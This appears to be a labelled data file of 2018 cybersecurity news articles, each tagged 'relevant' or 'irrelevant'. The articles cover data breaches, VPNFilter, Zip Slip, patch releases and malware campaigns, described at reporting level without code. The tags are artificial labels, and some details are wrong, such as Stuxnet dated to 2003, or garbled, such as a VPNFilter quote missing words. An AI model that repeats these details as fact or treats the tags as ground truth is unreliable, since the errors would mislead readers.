"Ticketmaster Suffers Security Breach – Personal and Payment Data Stolen Global entertainment ticketing service Ticketmaster has admitted that the company has suffered a security breach, warning customers that their personal and payment information may have been accessed by an unknown third-party. The company has blamed a third-party support customer service chat application for the data breach that believed to affect tens of thousands of its customers. The customer support chat application, made by Inbenta Technologies—a third-party artificial intelligence tech supplier—used to help major websites interact with their customers. In its statement, Ticketmaster said it discovered malicious software on the customer support application hosted on its UK website that allowed attackers to extract the personal and payment information from its customers buying tickets. Ticketmaster disabled the Inbenta product across all of its websites as soon as it recognized the malicious code. However, Inbenta Technologies turned away blame back to Ticketmaster, saying that the ticketing service deployed the chat application improperly on its website. ""Upon further investigation by both parties, it has been confirmed that the source of the data breach was a single piece of JavaScript code, that was customized by Inbenta to meet Ticketmaster's particular requirements,"" Inbenta chief executive Jordi Torras said in a statement. ""This code is not part of any of Inbenta's products or present in any of our other implementations. Ticketmaster directly applied the script to its payments page, without notifying our team."" Inbenta said by applying this Javascript to the payment page, Ticketmaster presented attackers with ""a point of vulnerability that affects the capacity for web forms to upload files,"" allowing attackers to locate, modify, and use the script to ""extract the payment information of Ticketmaster customers processed between February and June 2018."" Compromised information includes name, address, email address, telephone number, payment details and Ticketmaster login details of its customers. ""Forensic teams and security experts are working around the clock to understand how the data was compromised,"" Ticketmaster said. ""We are working with relevant authorities, as well as credit card companies and banks."" Neither Ticketmaster nor Inbenta did say the number of customers affected by the incident, but the ticketing service did confirm that less than 5% of its global customer base has been affected. Inbenta is entirely confident that no other customer of Inbenta has been compromised in any way, and that the incident has ""nothing to do with any of its industry-leading AI and machine learning products,"" which serve hundreds of customers on six continents. ""We can fully assure our customers and end-users that no other implementation of Inbenta across any of our products or customer deployments has been affected,"" Inbenta said. Ticketmaster said that it has emailed all affected customers, and is offering 12 months of free identity monitoring service for those who have been impacted. Affected customers are also advised to keep a close eye on their bank account transactions for signs of any suspicious activity, and immediately notify their banks if found any. Users are also advised to be cautious if they receive any suspicious or unrecognized phone call, text message, or email from anyone saying you must pay taxes or a debt immediately—even if they provide your personal information.",irrelevant
"Typeform, Popular Online Survey Software, Suffers Data Breach Typeform, the popular Spanish-based online data collection company specializes in form building and online surveys for businesses worldwide, has today disclosed that the company has suffered a data breach that exposed partial data of its some users. The company identified the breach on June 27th, and then quickly performed a full forensic investigation of the incident to identify the source of the breach. According to the company, some unknown attackers managed to gain unauthorized access to its servers and downloaded a partial data backups for surveys conducted before May 3rd 2018. Typeform confirmed that it patched the issue within just half an hour after identifying the intrusion, and emailed all the affected users, warning them to watch out for potential phishing scams, or spam emails. The company did not disclose any details about the vulnerability that was exploited by hackers to gain access to its servers, though it assured its users that no payment card details or password information for the website had been exposed in the breach. Also, if customers collected payments via Typeform's Stripe integration, all of their audience's payment details are safe. One of its customers, Monzo, a digital mobile-only bank that had used Typeform's service to collect survey results in the past, also conducted an initial investigation of the incident and confirmed that ""some personal data of about 20,000 people are likely to have been included in the breach."" ""For the vast majority of people, this was just their email address. For a much smaller proportion of others, this may have included other data like their Twitter username or postcode. We've published a full breakdown at the bottom of this post,"" Monzo CEO Tom Blomfield wrote on its website. Monzo is also sending out emails to its users affected by the data breach, informing that the breach likely included their email addresses and that the incident has not affected their user's Monzo accounts and their money is safe. Popular sportswear company Adidas on Thursday also confirmed a potential data breach that affected millions of its U.S. customers, who may have compromised their usernames, password hashes and contact information. Yesterday, Global entertainment ticketing service Ticketmaster also admitted that the company has suffered a security breach that exposed some of their customers personal and payment information to unknown hackers.",irrelevant
"Destructive and MiTM Capabilities of VPNFilter Malware Revealed It turns out that the threat of the massive VPNFilter botnet malware that was discovered late last month is beyond what we initially thought. Security researchers from Cisco's Talos cyber intelligence have today uncovered more details about VPNFilter malware, an advanced piece of IoT botnet malware that infected more than 500,000 routers in at least 54 countries, allowing attackers to spy on users, as well as conduct destructive cyber operations. Initially, it was believed that the malware targets routers and network-attached storage from Linksys, MikroTik, NETGEAR, and TP-Link, but a more in-depth analysis conducted by researchers reveals that the VPNFilter also hacks devices manufactured by ASUS, D-Link, Huawei, Ubiquiti, QNAP, UPVEL, and ZTE. ""First, we have determined that are being targeted by this actor, including some from vendors that are new to the target list. These new vendors are. New devices were also discovered from Linksys, MikroTik, Netgear, and TP-Lin,"" the researchers say. To hijack devices manufactured by above listed affected vendors, the malware simply relies on publicly-known vulnerabilities or use default credentials, instead of exploiting zero-day vulnerabilities. VPNFilter 'ssler' — Man-in-the-Middle Attack Module router-hacking Besides this, the researchers primarily shared technical details on a new stage 3 module, named ""ssler,"" which is an advanced network packet sniffer that, if installed, allows hackers to intercept network traffic passing through an infected router and deliver malicious payloads using man-in-the-middle attacks. ""Ssler module provides data exfiltration and JavaScript injection capabilities by intercepting all traffic passing through the device destined for port 80,"" the researchers say. This 3rd-stage module also makes the malware capable of maintaining a persistent presence on an infected device, even after a reboot. The ssler module has been designed to deliver custom malicious payloads for specific devices connected to the infected network using a parameter list, which defines the module's behavior and which websites should be targeted. These parameters include settings to define the location of a folder on the device where stolen data should be stored, the source and destination IP address for creating iptable rules, as well as the targeted URL of the JavaScript injection. To setup packet sniffing for all outgoing web requests on port 80, the module configures the device's iptables immediately after its installation to redirect all network traffic destined for port 80 to its local service listening on port 8888. ""To ensure that these rules do not get removed, ssler deletes them and then adds them back approximately every four minutes,"" the researchers explain. To target HTTPS requests, the ssler module also performs SSLStrip attack, i.e., it downgrades HTTPS connections to HTTP, forcing victim web browsers into communicating over plaintext HTTP. VPNFilter 'dstr' — Device Destruction Module As briefed in our previous article, VPNFilter also has a destructive capability (dstr module) that can be used to render an infected device unusable by deleting files necessary for normal device operation. The malware triggers a killswitch for routers, where it first deliberately kills itself, before deleting the rest of the files on the system [named vpnfilter, security, and tor], possibly in an attempt to hide its presence during the forensic analysis. This capability can be triggered on individual victim machines or en masse, potentially cutting off internet access for hundreds of thousands of victims worldwide. Simply Rebooting Your Router is Not Enough Despite the FBI seizure of a key command and control server right after the discovery of VPNFilter, the botnet still remains active, due to its versatile, multi-stage design. Stage 1 of the malware can survive a reboot, gaining a persistent foothold on the infected device and enabling the deployment of stages 2 and 3 malware. So, each time an infected device is restarted, stages 2 and 3 are re-installed on the device. This means, even after the FBI seized the key C&C server of VPNFilter, hundreds of thousands of devices already infected with the malware, likely remain infected with stage 1, which later installs stages 2 and 3. Therefore, rebooting alone is not enough to completely remove the VPNFilter malware from infected devices, and owners of consumer-grade routers, switches, and network-attached storage devices need to take additional measures, which vary from model to model. For this, router owners are advised to contact their manufacturer. For some devices, resetting routers to factory default could remove the potentially destructive malware, along with removing stage 1, while some devices can be cleaned up with a simple reboot, followed by updating the device firmware. And as I said earlier, mark these words again: if your router cannot be updated, throw it away and buy a new one. Your security and privacy is more than worth a router's price.",relevant
"Zip Slip' Vulnerability Affects Thousands of Projects Across Many Ecosystems Security researchers at British software firm Snyk have revealed details of a critical vulnerability that affects thousands of projects across many ecosystems and can be exploited by attackers to achieve code execution on the target systems. Dubbed ""Zip Slip,"" the issue is an arbitrary file overwrite vulnerability that triggers from a directory traversal attack while extracting files from an archive and affects numerous archive formats, including tar, jar, war, cpio, apk, rar, and 7z. Thousands of projects written in various programming languages including JavaScript, Ruby, Java, .NET and Go—from Google, Oracle, IBM, Apache, Amazon, Spring/Pivotal, Linkedin, Twitter, Alibaba, Eclipse, OWASP, ElasticSearch, JetBrains and more—contained vulnerable codes and libraries. Went undetected for years, the vulnerability can be exploited using a specially crafted archive file that holds directory traversal filenames, which if extracted by any vulnerable code or a library, would allow attackers to unarchive malicious files outside of the folder where it should reside. Using this Zip Slip attack an attacker can even overwrite legitimate executable files or configuration files for an application to trick the targeted system or the user into running it, ""thus achieving remote command execution on the victim's machine,"" the company explains. ""The vulnerability can also cause damage by overwriting configuration files or other sensitive resources, and can be exploited on both client (user) machines and servers."" ""The contents of this zip file have to be handcrafted. Archive creation tools don't typically allow users to add files with these paths, despite the zip specification allowing it. However, with the right tools, it's easy to create files with these paths."" The company has also published proof-of-concept Zip Slip archives and released a video demonstration, showing how attackers can exploit the Zip Slip vulnerability. Since April, the company started privately disclosing the Zip Slip vulnerability to all vulnerable libraries and projects maintainers. A list of all affected libraries and projects has also been posted on Snyk's GitHub repository, some of which have already fixed the issue with the release of updated versions. Moreover, you can also read Snyk's blog post to learn more about vulnerable codes in different ecosystems through example snippets.",relevant
"Adobe Releases Security Patch Updates For 112 Vulnerabilities Adobe has released security patches for a total 112 vulnerabilities in its products, most of which have a higher risk of being exploited. The vulnerabilities addressed in this month's patch Tuesday affect Adobe Flash Player, Adobe Experience Manager, Adobe Connect, Adobe Acrobat, and Reader. None of the security vulnerabilities patched this month were either publicly disclosed or found being actively exploited in the wild. Adobe Flash Player (For Desktops and Browsers) Security updates include patches for two vulnerabilities in Adobe Flash Player for various platforms and application, as listed below. One of which has been rated critical (CVE-2018-5007), and successful exploitation of this ""type confusion"" flaw could allow an attacker to execute arbitrary code on the targeted system in the context of the current user. This flaw was discovered and reported to Adobe by willJ of Tencent PC Manager working with Trend Micro's Zero Day Initiative. Without revealing technical details of any flaw, Adobe said the second vulnerability, which has been rated important by the company, could allow an attacker to retrieve sensitive information. Affected Version Flash Player v30.0.0.113 and earlier versions Affected Platforms and Applications Windows macOS Linux Chrome OS Google Chrome Microsoft IE 11 Microsoft Edge Adobe Acrobat and Reader (Windows and macOS) The company has patched a total of 104 security vulnerabilities in Adobe Acrobat and Reader, of which 51 are rated as critical and rest are important in severity. Both products include dozens of critical heap overflow, use-after-free, out-of-bounds write, type confusion, untrusted pointer dereference and buffer errors vulnerabilities which could allow an attacker to execute arbitrary code on the targeted system in the context of the current user. These vulnerabilities were reported by security researchers from various security firms, including Palo Alto Networks, Trend Micro Zero Day Initiative, Tencent, Qihoo 360, CheckPoint, Cisco Talos, Kaspersky Lab, Xuanwu Lab and Vulcan Team. Affected Version Continuous Track—2018.011.20040 and earlier versions Classic 2017 Track—2017.011.30080 and earlier versions Classic 2015 Track—2015.006.30418 and earlier versions Affected Platforms Microsoft Windows Apple macOS Adobe Experience Manager (All Platforms) Adobe has addressed three important Server-Side Request Forgery (SSRF) vulnerabilities in its Experience Manager, an enterprise content management solution, which could result in sensitive information disclosure. Two of these security vulnerabilities (CVE-2018-5006, CVE-2018-12809) were discovered by Russian application security researcher Mikhail Egorov. Affected Version AEM v6.4, 6.3, 6.2, 6.1 and 6.0 The vulnerabilities affect Adobe Experience Manager for all platforms, and users are recommended to download the updated version from here. Adobe Connect (All Platforms) Adobe has patched three security vulnerabilities in Adobe Connect—a software used to create information and general presentations and web conferencing—two of which, rated important, could allow an attacker to bypass the authentication, hijack web sessions and steal sensitive information. The third flaw, rated moderate, in Adobe Connect is a privilege escalation issue caused due to an insecure loading of a library. Affected Version Adobe Connect v9.7.5 and earlier for all platforms Adobe recommends end users and administrators to install the latest security updates as soon as possible.",relevant
"BTC-e Operator, Accused of Laundering $4 Billion, to be Extradited to France In a legal extradition tug-of-war between the United States and Russia, it seems France has won the game, surprisingly. A Greek court has ruled to extradite the Russian cybercrime suspect and the former operator of now-defunct BTC-e crypto exchange to France, instead of the United States or to his native Russia, according to multiple Russian news outlets. Alexander Vinnik, 38, has been accused of laundering more than $4 billion in bitcoin for criminals involved in hacking attacks, tax fraud and drug trafficking with the help of BTC-e crypto exchange. BTC-e, a digital currency exchange service operating since 2011, was seized by the authorities right after Vinnik's arrest in northern Greece in late July 2016 at the request of US law enforcement authorities. Vinnik is also accused to the failure of the once-most famous Japanese bitcoin exchange Mt. Gox, which was shut down in 2014 following a series of mysterious robberies, which totaled at least $375 million in Bitcoin. The U.S. authorities believe Vinnik ""obtained"" funds from the hacker or insider who stole bitcoins from Mt. Gox and sent them to a bitcoin wallet controlled by him and intentionally laundered the money through BTC-e over a period of three years. The Greek Supreme Court earlier approved Vinnik's extradition to the U.S. to stand trial on the charges with the operation of an unlicensed money service business, money laundering, conspiracy to commit money laundering, and engaging in unlawful monetary transactions. However, a Greek lower court in the northern city of Thessaloniki agreed Monday to extradite Vinnik to France, where he is facing charges for defrauding thousands of people worldwide, including about 100 French nationals, through his bitcoin platform and laundered 133 million euros using 20,643 bitcoins. Russia is also seeking Vinnik to face $11,000 worth of fraud charges, very low as compared to accusations made by other countries, although a hearing date for the Russian extradition request has not yet been set. However, Vinnik, who is in Greece jail, being insolent denying all the charges made by the United States, Russia, or France. The Russian Foreign Ministry has criticized the Greece extradition decision in a statement, saying: ""Yielding to external pressure, the Greek authorities continue to complicate relations with Russia. Several days after taking an unfriendly decision to expel Russian diplomats and to deny entry to several Russian citizens, they have adopted a decision to extradite Russian citizen Alexander Vinnik to France. It is obvious that Russia cannot leave these actions unanswered."" However, reportedly Greece's justice minister can still overturn the court ruling and decide where Vinnik ends up—the United States, Russia or France. Vinnik's Greek lawyer Ilias Spyrliadis told Russian news agency TASS that he is planning to appeal against the court's decision in the Greek Supreme Court.",irrelevant
"Apache Tomcat Patches Important Security Vulnerabilities The Apache Software Foundation (ASF) has released security updates to address several vulnerabilities in its Tomcat application server, one of which could allow a remote attacker to obtain sensitive information. Apache Tomcat is an open source web server and servlet system, which uses several Java EE specifications like Java Servlet, JavaServer Pages (JSP), Expression Language, and WebSocket, and provides a ""pure Java"" HTTP web server environment for Java concept to run in. Unlike Apache Struts2 vulnerabilities exploited to breach the systems of America credit reporting agency Equifax late last year, new Apache Tomcat vulnerabilities are less likely to be exploited in the wild. Apache Tomcat — Information Disclosure Vulnerability The more critical flaw (CVE-2018-8037) of all in Apache Tomcat is an information disclosure vulnerability caused due to a bug in the tracking of connection closures which can lead to reuse of user sessions in a new connection. The vulnerability, marked as important, was reported to the Apache Tomcat Security Team by Dmitry Treskunov on 16 June 2018 and made public on 22 July 2018. The flaw affects Tomcat versions 9.0.0.M9 to 9.0.9 and 8.5.5 to 8.5.31, and it has been fixed in Tomcat 9.0.10 and 8.5.32. Apache Tomcat — Denial of Service (DoS) Vulnerability Another important vulnerability, tracked as CVE-2018-1336, in Apache Tomcat resides in the UTF-8 decoder that can lead to a denial-of-service (DoS) condition. ""An improper handling of overflow in the UTF-8 decoder with supplementary characters can lead to an infinite loop in the decoder causing a Denial of Service,"" the Apache Software Foundation says in its advisory. Apache Tomcat Server Software Updates (Patches) The vulnerability affects Tomcat versions 7.0.x, 8.0.x, 8.5.x and 9.0.x, and has been addressed in Tomcat versions 9.0.7, 8.5.32, 8.0.52 and 7.0.90. The Apache Software Foundation also included a security patch in the latest Tomcat versions to address a low severity security constraints bypass bug (CVE-2018-8034), which occurs due to missing of the hostname verification when using TLS with the WebSocket client. Administrators are strongly recommended to apply the software updates as soon as possible and are advised to allow only trusted users to have network access as well as monitor affected systems. The Apache Software Foundation says it has not detected any incident of the exploitation of one of these Apache Tomcat vulnerabilities in the wild. A remote attacker could exploit one of these vulnerabilities to obtain sensitive information.",relevant
"New Bluetooth Hack Affects Millions of Devices from Major Vendors Yet another bluetooth hacking technique has been uncovered. A highly critical cryptographic vulnerability has been found affecting some Bluetooth implementations that could allow an unauthenticated, remote attacker in physical proximity of targeted devices to intercept, monitor or manipulate the traffic they exchange. The Bluetooth hacking vulnerability, tracked as CVE-2018-5383, affects firmware or operating system software drivers from some major vendors including Apple, Broadcom, Intel, and Qualcomm, while the implication of the bug on Google, Android and Linux are still unknown. The security vulnerability is related to two Bluetooth features—Bluetooth low energy (LE) implementations of Secure Connections Pairing in operating system software, and BR/EDR implementations of Secure Simple Pairing in device firmware. How the Bluetooth Hack Works? Researchers from the Israel Institute of Technology discovered that the Bluetooth specification recommends, but does not mandate devices supporting the two features to validate the public encryption key received over-the-air during secure pairing. Since this specification is optional, some vendors' Bluetooth products supporting the two features do not sufficiently validate elliptic curve parameters used to generate public keys during the Diffie-Hellman key exchange. In this case, an unauthenticated, remote attacker within the range of targeted devices during the pairing process can launch a man-in-the-middle attack to obtain the cryptographic key used by the device, allowing them to potentially snoop on supposedly encrypted device communication to steal data going over-the-air, and inject malware. Here's what the Bluetooth Special Interest Group (SIG), the maintainers of the technology, says about the flaw: ""For an attack to be successful, an attacking device would need to be within wireless range of two vulnerable Bluetooth devices that were going through a pairing procedure."" ""The attacking device would need to intercept the public key exchange by blocking each transmission, sending an acknowledgment to the sending device, and then injecting the malicious packet to the receiving device within a narrow time window. If only one device had the vulnerability, the attack would not be successful."" On Monday, CERT/CC also released a security advisory, which includes additional technical details about the Bluetooth vulnerability and attack method. According to the CERT/CC, Bluetooth makes use of a device pairing mechanism based on elliptic-curve Diffie-Hellman (ECDH) key exchange to allow encrypted communication between devices. The ECDH key exchange involves a private and a public key, and the public keys are exchanged to produce a shared pairing key. The devices must also agree on the elliptic curve parameters being used, but in some implementations, these parameters are not sufficiently validated, allowing remote attackers within wireless range ""to inject an invalid public key to determine the session key with high probability."" Stop Bluetooth Hacking—Install Patches from Vendors To fix the issue, the Bluetooth SIG has now updated the Bluetooth specification to require products to validate public keys received as part of public key-based security procedures. Moreover, the organization has also added testing for this vulnerability within its Bluetooth Qualification Process. The CERT/CC says patches are needed both in firmware or operating system software drivers, which should be obtained from vendors and developers of the affected products, and installed—if at all possible. Also Read: BlueBorne Attack Critical Bluetooth Attack Puts Billions of Devices at Risk of Hacking Apple, Broadcom, Intel, and Qualcomm Found Affected So far, Apple, Broadcom, Intel, and Qualcomm have been found including affected Bluetooth chipsets in their devices, while Google, Android, and Linux have yet to confirm the existence of the vulnerability in their respective products. Microsoft products are not vulnerable. Apple and Intel have already released patches for this security vulnerability. Apple fixed the bug with the release of macOS High Sierra 10.13.5, iOS 11.4, watchOS 4.3.1, and tvOS 11.4. Intel released both software and firmware updates to patch the Bluetooth bug on Monday, informing users that the high severity flaw impacts the company's Dual Band Wireless-AC, Tri-Band Wireless-AC, and Wireless-AC product families. According to Broadcom, some of its products supporting Bluetooth 2.1 or newer technology may be affected by the reported issue, but the chip maker claims to have already made fixes available to its OEM customers, who are now responsible for providing them to the end-users. Qualcomm has not released any statement regarding the vulnerability. The Bluetooth SIG says that there is no evidence of the bug being exploited maliciously and that it is not aware of ""any devices implementing the attack having been developed, including by the researchers who identified the vulnerability.""",relevant
"New Virus Decides If Your Computer Good for Mining or Ransomware Security researchers have discovered an interesting piece of malware that infects systems with either a cryptocurrency miner or ransomware, depending upon their configurations to decide which of the two schemes could be more profitable. While ransomware is a type of malware that locks your computer and prevents you from accessing the encrypted data until you pay a ransom to get the decryption key required to decrypt your files, cryptocurrency miners utilize infected system's CPU power to mine digital currencies. Both ransomware and cryptocurrency mining-based attacks have been the top threats so far this year and share many similarities such as both are non-sophisticated attacks, carried out for money against non-targeted users, and involve digital currency. However, since locking a computer for ransom doesn't always guarantee a payback in case victims have nothing essential to losing, in past months cybercriminals have shifted more towards fraudulent cryptocurrency mining as a method of extracting money using victims' computers. Researchers at Russian security firm Kaspersky Labs have discovered a new variant of Rakhni ransomware family, which has now been upgraded to include cryptocurrency mining capability as well. Written in Delphi programming language, the Rakhni malware is being spread using spear-phishing emails with an MS word file in the attachment, which if opened, prompts the victim to save the document and enable editing. The document includes a PDF icon, which if clicked, launches a malicious executable on the victim's computer and immediately displays a fake error message box upon execution, tricking victims into thinking that a system file required to open the document is missing. How Malware Decides What To Do However, in the background, the malware then performs many anti-VM and anti-sandbox checks to decide if it could infect the system without being caught. If all conditions are met, the malware then performs more checks to decide the final infection payload, i.e., ransomware or miner. 1.) Installs Ransomware—if the target system has a 'Bitcoin' folder in the AppData section. Before encrypting files with the RSA-1024 encryption algorithm, the malware terminates all processes that match a predefined list of popular applications and then displays a ransom note via a text file. 2.) Installs cryptocurrency miner—if 'Bitcoin' folder doesn't exist and the machine has more than two logical processors. If the system gets infected with a cryptocurrency miner, it uses MinerGate utility to mine Monero (XMR), Monero Original (XMO) and Dashcoin (DSH) cryptocurrencies in the background. root-certificates Besides this, the malware uses CertMgr.exe utility to install fake root certificates that claim to have been issued by Microsoft Corporation and Adobe Systems Incorporated in an attempt to disguise the miner as a trusted process. 3.) Activates worm component—if there's no 'Bitcoin' folder and just one logical processor. This component helps the malware to copy itself to all the computers located in the local network using shared resources. ""For each computer listed in the file the Trojan checks if the folder Users is shared and, if so, the malware copies itself to the folder \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup of each accessible user,"" the researchers note. Regardless of which infection is chosen, the malware performs a check if one of the listed antivirus processes is launched. If no AV process is found in the system, the malware will run several cmd commands in an attempt to disable Windows Defender. What's more? There's A Spyware Feature As Well ""Another interesting fact is that the malware also has some spyware functionality – its messages include a list of running processes and an attachment with a screenshot,"" the researchers say. This malware variant is targeting users primarily in Russia (95.5%), while a small number of infection has been noticed in Kazakhstan (1.36%), Ukraine (0.57%), Germany (0.49%), and India (0.41%) as well. The best way to prevent yourself from being a victim of such attacks in the first place is never to open suspicious files and links provided in an email. Also, always keep a good backup routine and updated anti-virus software in place.",irrelevant
"Boys Town Healthcare Data Breach Exposed Personal Details of Patients Another day, Another data breach! This time-sensitive and personal data of hundreds of thousands of people at Boys Town National Research Hospital have been exposed in what appears to be the largest ever reported breach by a pediatric care provider or children's hospital. According to the U.S. Department of Health and Human Services Office for Civil Rights, the breach incident affected 105,309 individuals, including patients and employees, at the Omaha-based medical organization. In a ""Notice of Data Security Incident"" published on its website, the Boys Town National Research Hospital admitted that the organization became aware of an abnormal behavior regarding one of its employees' email account on May 23, 2018. After launching a forensic investigation, the hospital found that an unknown hacker managed to infiltrate into the employee's email account and stole personal information stored within the email account as a result of unauthorized access. The hacker accessed the personal and medical data of more than 100,000 patients and employees, including: Name Date of birth Social Security number Diagnosis or treatment information Medicare or Medicaid identification number Medical record number Billing/claims information Health insurance information Disability code Birth or marriage certificate information Employer Identification Number Driver's license number Passport information Banking or financial account number Username and password With this extensive information in hand, it's most likely that hackers are already selling personal information of victims on the dark web or attempting to carry out further harm to them, particularly child patients at the hospital. However, The Boys Town National Research Hospital says it has not received any reports of the misuse of the stolen information so far. ""Boys Town takes this incident and the security of personal information seriously. Upon learning of this incident, Boys Town moved quickly to confirm whether personal information may have been affected by this incident, to identify the individuals related to this personal information, to put in place resources to assist them, and to provide them with notice of this incident,"" the hospital says. The hospital has also reported the incident to law enforcement and is notifying state and federal regulators, along with potentially affected individuals. Boys Town has also promised to offer affected individuals access to 12 months of free identity protection services. Boys Town hospital is also reviewing its existing policies and procedures and is implementing some additional security measures to safeguard its users' information stored in its systems. However, victims are highly recommended to monitor their accounts for any fraudulent transaction and should consider placing a credit freeze request. Here's how you can freeze credit report to protect yourself against identity theft. For additional information related to the incident, you can call 1-855-686-9425 (toll-free), Monday through Saturday from 8:00 a.m. to 8:00 p.m. CT.",irrelevant
"Stolen D-Link Certificate Used to Digitally Sign Spying Malware Digitally signed malware has become much more common in recent years to mask malicious intentions. Security researchers have discovered a new malware campaign misusing stolen valid digital certificates from Taiwanese tech-companies, including D-Link, to sign their malware and making them look like legitimate applications. As you may know, digital certificates issued by a trusted certificate authority (CA) are used to cryptographically sign computer applications and software and are trusted by your computer for execution of those programs without any warning messages. However, malware author and hackers who are always in search of advanced techniques to bypass security solutions have seen been abusing trusted digital certificates in recent years. Hackers use compromised code signing certificates associated with trusted software vendors in order to sign their malicious code, reducing the possibility of their malware being detected on targeted enterprise networks and consumer devices. Security researchers from ESET have recently identified two malware families, previously associated with cyberespionage group BlackTech, that have been signed using valid digital certificates belonging to D-Link networking equipment manufacturer and another Taiwanese security company called Changing Information Technology. The first malware, dubbed Plead, is a remotely controlled backdoor designed to steal confidential documents and spy on users. The second malware is also a related password stealer designed to collect saved passwords from Google Chrome, Microsoft Internet Explorer, Microsoft Outlook, and Mozilla Firefox. Researchers notified both D-link and Changing Information Technology about the issue, and the companies revoked the compromised digital certificates on July 3 and July 4, 2018, respectively. Since most antivirus software fails to check the certificate's validity even when companies revoke the signatures of their certificates, the BlackTech hackers are still using the same certificates to sign their malicious tools. ""The ability to compromise several Taiwan-based technology companies and reuse their code-signing certificates in future attacks shows that this group is highly skilled and focused on that region,"" the researchers said. It is not the first time when hackers have used valid certificates to sign their malware. The infamous Stuxnet worm that targeted Iranian nuclear processing facilities in 2003 also used valid digital certificates. Also, the 2017 CCleaner hack, wherein hackers replaced the original CCleaner software with the tainted downloads, was made possible due to digitally-signed software update.",relevant
"Dixons Carphone Data Breach Affects 10 Million Customers Dixons Carphone's 2017 data breach was worse than initially anticipated. In an announcement on Monday, Dixons Carphone, one of the largest consumer electronics and telecommunication retailers in Europe, admitted that the breach affected around 10 million customers, up from an initial estimate of 1.2 million people the company acknowledged back in June. The company, which has been investigating the hack since it was discovered in June this year, said the investigation is nearly over and now there is evidence that some of the data may have been taken from its systems. The Carphone Warehouse and Currys PC World owner said the hackers may have accessed personal information of its affected customers including their names, addresses and email addresses last year. The hackers also got access to 5.9 million payments cards used at Currys PC World and Dixons Travel, but nearly all of those cards were protected by the chip-and-pin system. However, Dixons Carphone assured its customers that no bank details, including pin codes, card verification values and authentication data used to make purchases, were taken and that there's no evidence any fraud had resulted from the security breach. ""As a precaution, we are choosing to communicate to all of our customers to apologize and advise them of protective steps to minimize the risk of fraud,"" the company said in a statement. ""We are continuing to keep the relevant authorities updated."" The company said it has now taken action to close off the unauthorized access and has ""no evidence it is continuing."" Dixons says it has put in place new security measures to safeguard its customer data and is working with experts to prevent any future intrusion. ""We continue to make improvements and investments at pace to our security environment through enhanced controls, monitoring, and testing,"" Dixons said. This is second time in three years Dixons Carphone has become the victim of a major cyber attack. In 2015, a data breach hit around 3 million customers, for which the company was fined £400,000 earlier this year.",irrelevant
"Facebook Admits Sharing Users' Data With 61 Tech Companies Facebook has admitted that the company gave dozens of tech companies and app developers special access to its users' data after publicly saying it had restricted outside companies to access such data back in 2015. It's an unusual clear view of how the largest social networking site manages your personal information. During the Cambridge Analytica scandal revealed March this year, Facebook stated that it already cut off third-party access to its users' data and their friends in May 2015 only. However, in a 747-page long document [PDF] delivered to Congress late Friday, the social networking giant admitted that it continued sharing data with 61 hardware and software makers, as well as app developers after 2015 as well. The disclosure comes in response to hundreds of questions posed to Facebook CEO Mark Zuckerberg by members of Congress in April about its company's practices with data of its billions of users. The Washington Post reported that the company submitted the documents, representing Facebook's most granular explanation of exemption, within hours of a Friday night deadline. Among other things, the documents revealed that Facebook granted a ""one-time"" six-month extension to 61 companies including AOL, Nike, United Parcel Service and dating app Hinge to come into compliance with Facebook's new privacy policy on user data. Besides this, there are at least five other companies that theoretically may have accessed limited friends' data, as a result of API access that they were granted as part of a Facebook beta test, the social media added. The documents also acknowledged that Facebook partnered with 52 domestic and international companies, including U.S. tech giants Apple, Microsoft, Spotify, Amazon, Sony, Acer, China-based Huawei and Alibaba, and device-makers Samsung and BlackBerry. The social network shared information about its users with these companies to help them create their own versions of Facebook or Facebook features for their devices, well of course, ""under the terms and policies they provide to their users."" ""We engaged companies to build integrations for a variety of devices, operating systems, and other products where we and our partners wanted to offer people a way to receive Facebook or Facebook experiences,"" the document reads. ""These integrations were built by our partners, for our users, but approved by Facebook."" However, Facebook also said the company has already discontinued 38 of these 52 partnerships and is going to end its partnership with an additional seven by the end of this July and another one by the end of this October. Whereas, partnerships with three companies will continue, which includes Apple, Amazon, and Tobii, an accessibility app that enables people with ALS to access Facebook, with whom the company has agreements that extend beyond October 2018. The document comes months after it revealed that personal data of 87 million Facebook users were harvested by Cambridge Analytica, a political consultancy firm, who reportedly helped Donald Trump win the US presidency in 2016. The revelation led to public outcry for lawmakers to hold the social network accountable for its data-management practices, raising questions about whether Facebook can be trusted to protect the personal data of its 2 billion users. Facebook's admission to the extensions, as Post noted, is ""the fullest to date regarding reports that Facebook [had continued sharing] user data with some companies for years."" Just three days ago, we covered a separate incident, wherein a popular third-party quiz app that runs on Facebook app platform exposed data of up to 120 million Facebook users to hackers.",irrelevant
"Gaza Cybergang Returns With New Attacks On Palestinian Authority Security researchers from Check Point Threat Intelligence Team have discovered the comeback of an APT (advanced persistent threat) surveillance group targeting institutions across the Middle East, specifically the Palestinian Authority. The attack, dubbed ""Big Bang,"" begins with a phishing email sent to targeted victims that includes an attachment of a self-extracting archive containing two files—a Word document and a malicious executable. Posing to be from the Palestinian Political and National Guidance Commission, the Word document serves as a decoy to distract victims while the malware is installed in the background. The malicious executable, which runs in the background, act as the first stage info-stealer malware designed for intelligence gathering to identify potential victims (on the basis of what is unclear as of now), and then it accordingly downloads the second stage malware designed for espionage. ""While the analysis...discloses the capabilities of the spotted malware, we are pretty sure it is part of a multi-staged attack that targets very specific victims,"" the researchers said in a blog post. ""The malware below is part of the reconnaissance stage and should lead to the main course, whose nature is still unknown."" The malware is capable of sending a lot of information from the infected machines to the attackers' Command and Control server, including screenshots of the infected computer, a list of documents with file extensions including .doc, .odt, .xls, .ppt, .pdf and more, and logging details about the system. apt-attack-middle-east Besides this, the malware also includes a few more modules to execute any file it receives from the server, enumerate running processes, terminate a running process by name, as well as send a list of partitions found on the infected machine. The malware also includes modules to self-destruct itself by deleting the payload from the startup folder and deleting the actual file, and reboot the infected system. ""After reviewing all the malware functionalities, we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile,"" the researchers say. Researchers believe these attacks could be related to the Gaza Cybergang APT group, an Arabic-language, politically-motivated cybercriminal group, who are operating since 2012 and targeted oil and gas organization the Middle East North African region. However, according to the researchers, it is still not yet confirmed exactly which threat group is behind this campaign.",irrelevant
